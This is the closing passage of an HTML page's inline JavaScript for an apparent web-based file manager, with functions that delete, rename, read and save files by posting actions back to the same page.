947 |     ajax('delete', {path: enc}, () => location.reload());
948 | }
949 | 
950 | function renameItem(enc, old) {
951 |     const newName = prompt('RENAME TO:', old);
952 |     if (!newName || newName === old) return;
953 |     ajax('rename', {old: enc, new: newName}, () => location.reload());
954 | }
955 | 
956 | function editFile(enc, name) {
957 |     editPath = enc;
958 |     document.getElementById('editName').textContent = name;
959 |     ajax('read', {path: enc}, (d) => {
960 |         document.getElementById('editContent').value = d.content;
961 |         document.getElementById('modal2').classList.add('show');
962 |     });
963 | }
964 | 
965 | function saveFile() {
966 |     const content = document.getElementById('editContent').value;
967 |     ajax('save', {path: editPath, content: content}, () => {
968 |         hideModal2();
969 |         alert('SAVED');
970 |     });
971 | }
972 | 
973 | function ajax(act, data, callback) {
974 |     data.act = act;
975 |     const params = new URLSearchParams(data).toString();
976 |     fetch('', {
977 |         method: 'POST',
978 |         headers: {'Content-Type': 'application/x-www-form-urlencoded'},
979 |         body: params
980 |     })
981 |     .then(r => r.json())
982 |     .then(d => {
983 |         if (d.ok) callback(d);
984 |         else alert('ERROR');
985 |     });
986 | }
987 | </script>
988 | </body>
989 | </html>
990 | 


--------------------------------------------------------------------------------